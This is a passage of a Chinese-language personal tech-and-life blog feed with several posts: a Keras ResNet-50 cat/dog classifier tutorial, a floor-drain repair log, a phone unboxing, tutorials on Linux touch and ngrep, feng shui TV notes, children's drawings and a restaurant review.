tensorflow.python.keras.applications.resnet50 import ResNet50 from tensorflow.python.keras.optimizers import Adam from tensorflow.python.keras.preprocessing.image import ImageDataGenerator # 資料路徑 DATASET_PATH = \u0026#39;sample\u0026#39; # 影像大小 IMAGE_SIZE = (224, 224) # 影像類別數 NUM_CLASSES = 2 # 若 GPU 記憶體不足，可調降 batch size 或凍結更多層網路 BATCH_SIZE = 8 # 凍結網路層數 FREEZE_LAYERS = 2 # Epoch 數 NUM_EPOCHS = 20 # 模型輸出儲存的檔案 WEIGHTS_FINAL = \u0026#39;model-resnet50-final.h5\u0026#39; # 透過 data augmentation 產生訓練與驗證用的影像資料 train_datagen = ImageDataGenerator(rotation_range=40, width_shift_range=0.2, height_shift_range=0.2, shear_range=0.2, zoom_range=0.2, channel_shift_range=10, horizontal_flip=True, fill_mode=\u0026#39;nearest\u0026#39;) train_batches = train_datagen.flow_from_directory(DATASET_PATH + \u0026#39;/train\u0026#39;, target_size=IMAGE_SIZE, interpolation=\u0026#39;bicubic\u0026#39;, class_mode=\u0026#39;categorical\u0026#39;, shuffle=True, batch_size=BATCH_SIZE) valid_datagen = ImageDataGenerator() valid_batches = valid_datagen.flow_from_directory(DATASET_PATH + \u0026#39;/valid\u0026#39;, target_size=IMAGE_SIZE, interpolation=\u0026#39;bicubic\u0026#39;, class_mode=\u0026#39;categorical\u0026#39;, shuffle=False, batch_size=BATCH_SIZE) # 輸出各類別的索引值 for cls, idx in train_batches.class_indices.items(): print(\u0026#39;Class #{} = {}\u0026#39;.format(idx, cls)) # 以訓練好的 ResNet50 為基礎來建立模型， # 捨棄 ResNet50 頂層的 fully connected layers net = ResNet50(include_top=False, weights=\u0026#39;imagenet\u0026#39;, input_tensor=None, input_shape=(IMAGE_SIZE[0],IMAGE_SIZE[1],3)) x = net.output x = Flatten()(x) # 增加 DropOut layer x = Dropout(0.5)(x) # 增加 Dense layer，以 softmax 產生個類別的機率值 output_layer = Dense(NUM_CLASSES, activation=\u0026#39;softmax\u0026#39;, name=\u0026#39;softmax\u0026#39;)(x) # 設定凍結與要進行訓練的網路層 net_final = Model(inputs=net.input, outputs=output_layer) for layer in net_final.layers[:FREEZE_LAYERS]: layer.trainable = False for layer in net_final.layers[FREEZE_LAYERS:]: layer.trainable = True # 使用 Adam optimizer，以較低的 learning rate 進行 fine-tuning net_final.compile(optimizer=Adam(lr=1e-5), loss=\u0026#39;categorical_crossentropy\u0026#39;, metrics=[\u0026#39;accuracy\u0026#39;]) # 輸出整個網路結構 print(net_final.summary()) # 訓練模型 net_final.fit_generator(train_batches, steps_per_epoch = train_batches.samples // BATCH_SIZE, validation_data = valid_batches, validation_steps = valid_batches.samples // BATCH_SIZE, epochs = NUM_EPOCHS) # 儲存訓練好的模型 net_final.save(WEIGHTS_FINAL) 將這段 Python 程式碼儲存為 train_resnet50.py，然後執行它即可進行模型的訓練：\npython3 train_resnet50.py 模型訓練完成之後，就會儲存於 model-resnet50-final.h5 這個檔案中。\n辨識狗與貓 將模型訓練好之後，就可以使用以下的 Python 指令稿打造自己的狗與貓辨識程式了：\nfrom tensorflow.python.keras import backend as K from tensorflow.python.keras.models import load_model from tensorflow.python.keras.preprocessing import image import sys import numpy as np # 從參數讀取圖檔路徑 files = sys.argv[1:] # 載入訓練好的模型 net = load_model(\u0026#39;model-resnet50-final.h5\u0026#39;) cls_list = [\u0026#39;cats\u0026#39;, \u0026#39;dogs\u0026#39;] # 辨識每一張圖 for f in files: img = image.load_img(f, target_size=(224, 224)) if img is None: continue x = image.img_to_array(img) x = np.expand_dims(x, axis = 0) pred = net.predict(x)[0] top_inds = pred.argsort()[::-1][:5] print(f) for i in top_inds: print(\u0026#39; {:.3f} {}\u0026#39;.format(pred[i], cls_list[i])) 將這段 Python 程式碼儲存為 predict_resnet50.py，然後就可以拿來辨識圖片了。我們可以直接使用 Kaggle 所提供的圖片進行測試：\n# 辨識狗與貓 python3 predict_resnet50.py train/dog.1000[0-2].jpg train/cat.1000[0-2].jpg train/dog.10000.jpg 1.000 dogs 0.000 cats train/dog.10001.jpg 1.000 dogs 0.000 cats train/dog.10002.jpg 1.000 dogs 0.000 cats train/cat.10000.jpg 0.998 cats 0.002 dogs train/cat.10001.jpg 1.000 cats 0.000 dogs train/cat.10002.jpg 1.000 cats 0.000 dogs 也可以拿自己的圖片放進去進行辨識：\n# 辨識自己的圖片 python3 predict_resnet50.py pug-20180918-01.jpg pug-20180918-01.jpg 0.999 dogs 0.001 cats 參考資料 JK Jung\u0026rsquo;s blog ","permalink":"https://blog.gtwang.org/programming/keras-resnet-50-pre-trained-model-build-dogs-cats-image-classification-system/","summary":"\u003cp\u003e這裡示範在 Keras 架構下以 ResNet-50 預訓練模型為基礎，建立可用來辨識狗與貓的 AI 程式。\u003c/p\u003e\n\u003cp\u003e在 \u003ca href=\"https://blog.keras.io/building-powerful-image-classification-models-using-very-little-data.html\"\u003eKeras 的部落格\u003c/a\u003e中示範了使用 VGG16 模型建立狗與貓的辨識程式，準確率大約為 94%，而這裡則是改用 ResNet50 模型為基礎，並將輸入影像尺寸提高為 224x224，加上大量的 data augmentation，結果可讓辨識的準確率達到 99%。\u003c/p\u003e","title":"Keras 以 ResNet-50 預訓練模型建立狗與貓辨識程式"},{"content":"本篇記錄我們請水電師傅更換落水頭、洗臉盆排水管等設備的過程。\n老房子的排水孔難免都會有臭味道，風大的時候甚至會吹得整間浴室都很臭，而這禮拜天我們請水電師傅來一趟，把一到三樓浴室地上的落水頭全部換掉，換成可以阻擋臭氣的落水頭，以下是施工的紀錄。\n老房子的排水孔大概都是類似這個樣子。\n稍微新一點的房子，排水孔可能會類似這種，不過這種普通的落水頭也是無法阻擋下水道的臭氣。\n這次我們是請水電師傅把舊的落水頭更換成這種新式的防臭氣落水頭。\n上方的蓋子是可以直接拿起來的。\n這是上蓋打開後的樣子。\n排水的地方有一個止逆閥，平常沒水的時候會關閉，這樣臭氣就不會往上跑。\n有水的時候就會自動撐開。\n我們用的這一款落水頭是阿木師的。\n型號是 NO:1010 2 ABS 水門。\n更換落水頭的時候，要先量好落水頭的大小，在地上標示一下。\n再用機具切割地板上的磁磚。\n這是切割好的樣子。\n接著用塑膠袋先把排水孔塞住（防止石塊掉入），然後再將瓷磚敲掉。\n敲成剛好可以放置新落水頭的大小。\n其他的排水孔也是一樣照這個流程施工。\n接著塗上水泥，安裝新的落水頭。\n落水頭這邊也要塗上水泥。\n塗好水泥後，將落水頭裝下去。\n固定好位置之後，將多餘的水泥清理乾淨。\n舊樣就完成落水頭的安裝了。\n其他的落水頭也是按照同樣的流程安裝。\n更換洗臉盆排水管 這次想說有請水電師傅來，所以就順便把洗臉盆排水管也換一下。\n這支排水管就是很單純拆下來換上新的而已。\n而旁邊的進水管好像也會有點漏水，所以就一起換掉。\n除了落水頭與洗臉盆排水管之外，我還請水電師傅換了一個水龍頭、一個馬桶座、馬桶沖水的水管，並且更換固定馬桶的螺絲等，一次把該換的都換掉，這位師傅施工很仔細，上次請他換過一次燈具，這次是第二次請他來家裡施工，感覺非常不錯。\n名稱：水電工程師傅 黃元宏\n服務項目：馬達水塔、衛浴設備、燈具吊扇、瓦斯爐具、熱水器\n電話：0937-369-430\n(06) 7952891\n地址：台南市西港區慶安路 228 巷 8 號\n這是水電師傅的名片。\n","permalink":"https://blog.gtwang.org/life/plumbing-and-heating-technician-replace-floor-drain-pipe-sigang-tainan-20180916/","summary":"\u003cp\u003e本篇記錄我們請水電師傅更換落水頭、洗臉盆排水管等設備的過程。\u003c/p\u003e\n\u003cp\u003e老房子的排水孔難免都會有臭味道，風大的時候甚至會吹得整間浴室都很臭，而這禮拜天我們請水電師傅來一趟，把一到三樓浴室地上的落水頭全部換掉，換成可以阻擋臭氣的落水頭，以下是施工的紀錄。\u003c/p\u003e","title":"[台南西港] 更換落水頭、洗臉盆排水管等記錄"},{"content":"本篇是 INO CP300 4G 智慧小摺機的簡單開箱文。\n最近我們家阿玄去均頭國小唸書，而學校每天都有安排電話時間讓小朋友打電話回家，如果不想用電話卡的人，則可以讓小朋友帶一隻手機去，平常由老師保管，電話時間才交給小朋友打電話。\n為了讓小朋友可以打電話，而且不要玩手機遊戲，所以上網選了這一隻 INO CP300 4G 智慧小摺機，雖然內部是 Android 系統，但世界面則比較像是傳統的手機，只有打電話與一些基本功能，沒有什麼遊戲可以玩，也就是俗稱的老人機。\n我是從 PChome 24h 購物訂購的，很快就收到了。\n這是 INO CP300 4G 智慧小摺機的外盒。\n打開 INO CP300 4G 智慧小摺機外盒。\n這些是全部的配件，包含一隻手機、USB 變壓器（充電器）、Micro USB 線、電池與說明書。\n這是把所有的塑膠套拆開的樣子。\nINO CP300 4G 智慧小摺機滿大隻的，拿起來重量感覺很輕（跟智慧型手機比起來）。\n由於是低價位的老人機，所以質感上也是普普通通。\n側邊有兩個調整音量的按鍵。\n另外一側則是 Micro USB 充電孔與耳機孔。\n這是手機打開的樣子。\n數字按鍵非常大，介面單純易操作。\n這是把背蓋打開後的樣子，可以安裝一張 Micro SIM 卡與一張 Micro SD 卡。\n螢幕的字體也非常大。\n我是打算這一隻手機就直接給阿玄使用，只能打電話、不能完遊戲，這樣就比較不用擔心玩手機的問題。\n","permalink":"https://blog.gtwang.org/unboxing/ino-cp300-4g-mobile-phone/","summary":"\u003cp\u003e本篇是 INO CP300 4G 智慧小摺機的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e最近我們家\u003ca href=\"/children/jtjhs-puli-nantou-20180830/\"\u003e阿玄去均頭國小唸書\u003c/a\u003e，而學校每天都有安排電話時間讓小朋友打電話回家，如果不想用電話卡的人，則可以讓小朋友帶一隻手機去，平常由老師保管，電話時間才交給小朋友打電話。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e為了讓小朋友可以打電話，而且不要玩手機遊戲，所以上網選了這一隻 INO CP300 4G 智慧小摺機，雖然內部是 Android 系統，但世界面則比較像是傳統的手機，只有打電話與一些基本功能，沒有什麼遊戲可以玩，也就是俗稱的老人機。\u003c/p\u003e","title":"[開箱] INO CP300 4G 智慧小摺機"},{"content":"這裡介紹 Linux 的 touch 指令的使用方法以及常見的範例。\nLinux 的 touch 指令可用來更改檔案或目錄的時間戳記，除此之外，該指令也可以用來建立空檔案，以下是使用的教學與範例。\n更改檔案時間戳記 在 Linux 中的檔案有三種時間戳記：\naccess time：檔案最後被讀取的時間。 modify time：檔案最後被修改的時間。 change time：檔案屬性（例如權限、擁有者等）最後被修改的時間。 我們可以使用 stat 指令來查看一個檔案的這三種時間戳記：\nstat test.sh File: test.sh Size: 20 Blocks: 8 IO Block: 4096 普通檔案 Device: 806h/2054d\tInode: 788497 Links: 1 Access: (0664/-rw-rw-r--) Uid: ( 1000/ gtwang) Gid: ( 1000/ gtwang) Access: 2018-08-22 13:53:47.014886494 +0800 Modify: 2018-08-22 13:53:39.149604000 +0800 Change: 2018-08-22 13:53:39.149604000 +0800 Birth: - 當我們使用 touch 更改檔案（或目錄）的時間戳計時，預設會將三種時間戳記都設定為目前的時間：\n# 更改時間戳記 touch test.sh 若只要更新 access time，可以加上 -a 參數：\n# 更新 access time touch -a test.sh 若只要更新 modify time，可以加上 -m 參數：\n# 更新 modify time touch -m test.sh 複製時間戳記 如果想要將一個檔案的時間戳記直接複製到另外一個檔案上，可以使用 -r 參數：\n# 複製時間戳記 touch -r source target 這樣就可以將 source 這個檔案的 access time 與 modify time 都複製到 target 這個檔案上。\n指定時間戳記 在使用 touch 更改時間戳計時，我們也可以使用 -t 參數來指定時間，時間的格式如下：\n[[CC]YY]MMDDhhmm[.ss] 其中各欄位的意義為：\nCC：西元年的前兩位數字。 YY：西元年的後兩位數字。 MM：月份。 DD：日。 hh：時。 mm：分。 ss：秒。 若要將檔案的日期修改為 2 月 5 號 13 點 51 分，則可執行：\n# 指定時間戳記 touch -t 02051351 test.sh stat test.sh File: test.sh Size: 20 Blocks: 8 IO Block: 4096 普通檔案 Device: 806h/2054d\tInode: 788497 Links: 1 Access: (0664/-rw-rw-r--) Uid: ( 1000/ gtwang) Gid: ( 1000/ gtwang) Access: 2018-02-05 13:51:00.000000000 +0800 Modify: 2018-02-05 13:51:00.000000000 +0800 Change: 2018-09-13 15:45:55.098451889 +0800 Birth: - 建立空檔案 touch 最常被用來建立空的檔案，只要執行 touch 並指定檔案名稱，當指定的檔案不存在時，touch 就會自動建立一個空檔案，並將檔案的時間設定為目前的時間：\ntouch empty.txt 這樣就會建立一個檔名為 empty.txt 的空檔案。\n若要一次建立多個空檔案，就指定多的檔案名稱即可：\ntouch empty1.txt empty2.txt empty3.txt 或是使用 bash 的小技巧，自動產生多個檔案名稱：\n# 建立 10 個空檔案 touch empty{1..10}.txt 這樣就會建立 10 個空檔案。\n如果我們只想要改變檔案的時間戳記，而當檔案不存在時，不要讓 touch 自動建立空檔案，則可加上 -c 參數：\n# 不要自動建立空檔案 touch -c file.txt 參考資料 Linux Handbook ","permalink":"https://blog.gtwang.org/linux/linux-touch-command-tutorial-examples/","summary":"\u003cp\u003e這裡介紹 Linux 的 \u003ccode\u003etouch\u003c/code\u003e 指令的使用方法以及常見的範例。\u003c/p\u003e\n\u003cp\u003eLinux 的 \u003ccode\u003etouch\u003c/code\u003e 指令可用來更改檔案或目錄的時間戳記，除此之外，該指令也可以用來建立空檔案，以下是使用的教學與範例。\u003c/p\u003e","title":"Linux 的 touch 指令用法教學與範例"},{"content":"這一篇是我看緯來綜合台風水有關係 2018/09/09 這一集的個人筆記。\n男主人從退伍之後工作一直不順利，甚至犯小人，經營小吃攤，生意也不如預期。\n物件：老公寓 格局：3 房 1 廳、25 坪 居住時間：15 年 風水訴求：財運、事業 居家地勢與位置 房子剛好位於斜坡上，居家地勢虎邊高、龍邊低，容易導致意外血光，另外因為虎邊高，所以家中女生的事業會不錯，但是男主人的運勢就會受阻，若長久居住的話，也會影響下一代。\n地勢虎高龍低的話，可在居家龍邊的位置擺放三隻銅做的龍，朝向屋前，提升氣場改善陰陽不平衡的問題。\n前陽台正對山壁（出門碰壁），主人的事業發展容易受阻礙，就好像出門四處碰壁的意思，正對的山壁越高，則煞氣影響力越大。出門碰壁的問題可以在前陽台懸掛乾坤太極圖化解。\n這間房子前方是山壁，而後方又是較低的溝渠，居家地勢前高後低，這個影響非常大，風水上前高後低主家運衰退，同時也會漏財。\n房屋地勢前高後低狀況可在房子的後段周邊擺放 36 枚五帝錢，埋成一個ㄇ字型，提升屋運及地氣，防止漏財。\n地氣不好的房子，可以將羅盤埋在屋前的地下（例如放一個花盆，將羅盤藏在花盆裡頭），提升氣場，而羅盤的指針一定要調整好才有效果。\n居家環境正對墓地的時候，可以懸掛小羅盤來化解比較陰的煞氣。\n前陽台正對巷子，造成巷沖，容易有意外血光。前陽台正對電線桿，容易有刀傷與血光意外。\n客廳 神桌通常會跟家運很有關係，由於每天上香（會有煙燻）的關係，神像面色正常來說都會被燻得很均勻，但是如果神像面色不平均，則代表主人的健康或運勢上可能出現問題。\n農曆 12/24 清屯日之後，可以跟神明講好，將神明請下來，拿去佛具店重新粉過一次，這樣可以改善家運。如果不是在過年期間，也可以從農民曆選個好日子來處理，並且注意生肖不要相沖。\n神桌上的燈就反應到家運，左邊（神明那一邊）代表陽、也代表男生，右邊（祖先那一邊）代表陰、也代表女生，若神明桌立燈只擺放一邊，就會影響到男女主人的運勢。\n祖先牌位緊貼神龕，會影響後代子孫的發展，要保持一指半到兩指寬的距離。\n房間 冰箱不可以正對房間門，否則容易影響健康。\n天花板上的大樑穿進房間，造成穿心煞，容易有苦難言、捶心肝，可在房門內外樑柱下方各掛一隻麒麟踩八卦來化解（兩隻面對面）。\n廚房 爐灶與水槽至少要距離 45 公分以上，否則會造成水火沖，容易影響夫妻感情，如果無法重新裝修，可以在中間加裝隔板，避免水噴濺至爐灶。\n爐灶後方不可以有門，否則易犯小人，若情況允許，最好更改爐灶位置，如果不能移動的話，則可在爐灶的正上方放置麒麟踩八卦與葫蘆，化解門的煞氣並吸收病氣。\n爐灶過低代表財庫低落、存不住錢，如果無法重新裝修爐灶，可以使用磚頭將瓦斯爐墊高，讓瓦斯爐跟水槽一樣高，即可化解。\n祭拜祖先時若搶到頭香，能讓家族運勢有所提升。墓碑上的草枯萎或是土塌陷，都會導致家運衰退。墓碑外圍裂開，也會直接影響到家族中的某一個人。\n主臥房 主臥室正對巷沖，易有車關意外，可在主臥室的窗前掛上乾坤太極圖，同時化解外在複合型的煞氣。\n會造成家運衰退的因素主要有四種：\n拱門會退運，家中若有拱門就會造成家運衰退。 神桌後方為階梯，象徵家運起起伏伏，也代表衰退。 祖先牌位掉漆。 居家環境地勢前高後低，主家運衰退。 ","permalink":"https://blog.gtwang.org/metaphysics/feng-shui-is-important-20180909/","summary":"\u003cp\u003e這一篇是我看緯來綜合台\u003ca href=\"https://www.youtube.com/watch?v=DPwkuLEPWcM\"\u003e風水有關係 2018/09/09\u003c/a\u003e 這一集的個人筆記。\u003c/p\u003e\n\u003cp\u003e男主人從退伍之後工作一直不順利，甚至犯小人，經營小吃攤，生意也不如預期。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e物件：老公寓\u003c/li\u003e\n\u003cli\u003e格局：3 房 1 廳、25 坪\u003c/li\u003e\n\u003cli\u003e居住時間：15 年\u003c/li\u003e\n\u003cli\u003e風水訴求：財運、事業\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e","title":"風水有關係：謝沅瑾老師，巷沖、灶後有門、水火沖 2018/09/09 筆記"},{"content":"本篇介紹如何使用 ngrep 這個 Linux 網路封包分析工具，以正規表示法等方式篩選與擷取封包資料。\nngrep（network grep）是一個簡單易用且功能強大的網路封包分析工具，它有點類似 Linux 的 grep 指令，可以使用正規表示法來批配網路封包中的資料（payloads），抓取出實際含有指定資料的封包，對於熟悉 grep、tcpdump 或 wireshark 的人來說，非常容易上手使用。\nngrep 支援各種常見的通訊協定，包含 IPv4/6、TCP、UDP、ICMPv4/6、IGMP 等，對於網路管理者來說，是一個非常實用的網管工具。\n安裝 ngrep 大部分 Linux 發行版的套件庫都有收錄 ngrep 這個工具，若要安裝的話就執行各種 Linux 版本所對應的指令即可：\nsudo apt install ngrep # Debian/Ubuntu sudo yum install ngrep # RHEL/CentOS sudo dnf install ngrep # Fedora 22+ 如果要查看它的原始碼，可以從 ngrep 的 GitHub 網站上查看。\n使用 ngrep ngrep 的使用方式很彈性，而基本的語法結構如下：\nngrep [參數] [批配規則] [BPF 規則] 其中批配規則可以使用正規表示法或是十六進為的資料，而BPF 規則則是指定封包的類型（例如協定種類或連接埠等），以下是一些常見的使用範例。\n若要監看所有含有 HTTP 字樣的封包，可以執行：\n# 監看含有 HTTP 字樣的封包 sudo ngrep -q \u0026#39;HTTP\u0026#39; 若要加上時間戳記，可以使用 -t 參數：\n# 加上時間戳記 sudo ngrep -qt \u0026#39;HTTP\u0026#39; 在查看封包內部的文字資料時，可以使用 -W 參數將換行模式指定為 byline，這樣可以讓版面更好閱讀：\n# 保持原始資料的換行 sudo ngrep -q -Wbyline \u0026#39;HTTP\u0026#39; 指定連接埠 若要監看所有 SMTP 郵件傳送（port 25）的封包，可以執行：\n# 監看所有 port 25 的封包 ngrep -d any port 25 若要監看含有 error 字樣的 syslog 封包，可以執行：\n# 監看含有 error 字樣的 syslog 封包 ngrep -d any \u0026#39;error\u0026#39; port syslog 指定 IP 位址 若要篩選來源或目的 IP 位址為 192.168 開頭的封包，可以使用這樣的 BPF 規則：\n# 來源或目的 IP 位址為 192.168 開頭的封包 sudo ngrep -q \u0026#39;HTTP\u0026#39; \u0026#39;host 192.168\u0026#39; 若只要篩選目的 IP 位址為 192.168 開頭的封包，則可以這樣寫：\n# 目的 IP 位址為 192.168 開頭的封包 sudo ngrep -q \u0026#39;HTTP\u0026#39; \u0026#39;dst host 192.168\u0026#39; 若只要篩選來源 IP 位址為 192.168 開頭的封包，則可以這樣寫：\n# 來源 IP 位址為 192.168 開頭的封包 sudo ngrep -q \u0026#39;HTTP\u0026#39; \u0026#39;src host 192.168\u0026#39; 指定通訊協定 若在查看封包時，只要篩選某一類通訊協定的封包，可以這樣寫：\n# 篩選 TCP 封包 sudo ngrep -q \u0026#39;HTTP\u0026#39; \u0026#39;tcp\u0026#39; # 篩選 UDP 封包 sudo ngrep -q \u0026#39;HTTP\u0026#39; \u0026#39;udp\u0026#39; # 篩選 ICMP 封包 sudo ngrep -q \u0026#39;HTTP\u0026#39; \u0026#39;icmp\u0026#39; 儲存與讀取 pcap 封包檔案 若要將符合條件的封包資料儲存下來，可以使用 -O 參數指定儲存的 pcap 檔案：\n# 儲存封包資料 sudo ngrep -O output.pcap -q \u0026#39;HTTP\u0026#39; 若要從已經儲存下來的 pcap 檔案中，篩選出指定的內容，可以使用 -I 參數指定 pcap 檔案的位置：\n# 從檔案讀取封包資料 ngrep -I input.pcap -qt \u0026#39;HTTP\u0026#39; 參考資料 Tecmint Coderwall ","permalink":"https://blog.gtwang.org/linux/linux-ngrep-network-packet-analyzer/","summary":"\u003cp\u003e本篇介紹如何使用 \u003ccode\u003engrep\u003c/code\u003e 這個 Linux 網路封包分析工具，以正規表示法等方式篩選與擷取封包資料。\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003engrep\u003c/code\u003e（network grep）是一個簡單易用且功能強大的網路封包分析工具，它有點類似 Linux 的 \u003ccode\u003egrep\u003c/code\u003e 指令，可以使用正規表示法來批配網路封包中的資料（payloads），抓取出實際含有指定資料的封包，對於熟悉 \u003ccode\u003egrep\u003c/code\u003e、\u003ccode\u003etcpdump\u003c/code\u003e 或 \u003ccode\u003ewireshark\u003c/code\u003e 的人來說，非常容易上手使用。\u003c/p\u003e","title":"Linux 的 ngrep 網路封包分析工具使用教學"},{"content":"\n以下是好久以前的塗鴉畫，放到現在才有空整理出來，所以不確定是什麼時候畫的。\n","permalink":"https://blog.gtwang.org/personal/qixuan-drawing-20180903/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-05.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-06.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-07.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-08.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-10.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-11.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-12.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e以下是好久以前的塗鴉畫，放到現在才有空整理出來，所以不確定是什麼時候畫的。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-101.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-102.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-103.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-104.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-105.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-106.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-107.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180903-108.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180905-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180905-02.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180905-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180905-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180905-05.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180905-06.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-03.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-04.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-05.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-06.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-07.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-08.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-09.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-01.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/personal/qixuan-drawing-20180903/qixuan-drawing-20180906-02.jpg\"\u003e\u003c/p\u003e","title":"阿玄的塗鴉畫 2018 年"},{"content":"咪卡 Mica 蔬食是一家位於南投埔里的素食早午餐店，有西式輕食、中式的午餐、咖啡與茶點，餐點健康美味、店內環境布置優雅舒適，是一家非常推薦的平價優質素食店。\n今年的暑假我們家阿玄轉學到佛光山的均頭國小就讀，原本預計帶阿玄去均頭國小報到之後，要在埔里吃中飯，而我上網搜尋了埔里地區的素食店之後，發現了 Mica 這家剛開幕不久的蔬食早午餐，距離均頭國小非常近，價位便宜、環境舒適，而且網路評價極佳，所以早上特別提早從台南出發，帶阿玄也一起去吃早餐。\n結果我們一家人在 Mica 蔬食用餐之後，感覺 Mica 真的是一家非常用心經營的優質素食店家，選用新鮮的食材，並以手工的方式自製多種料理，讓餐點既健康又美味，沒有過多添加物，最重要的是老闆娘希望大家可以常來吃好吃又健康的素食，所以價位訂得非常便宜，CP 值非常高！\n店名：咪卡 Mica 蔬食\n地址：南投縣埔里鎮中正路 210-7 號\n營業時間：8:30 ～ 16:00（週日公休）\n網站：facebook 粉絲專頁\nLINE：LINE 二維條碼\n咪卡 Mica 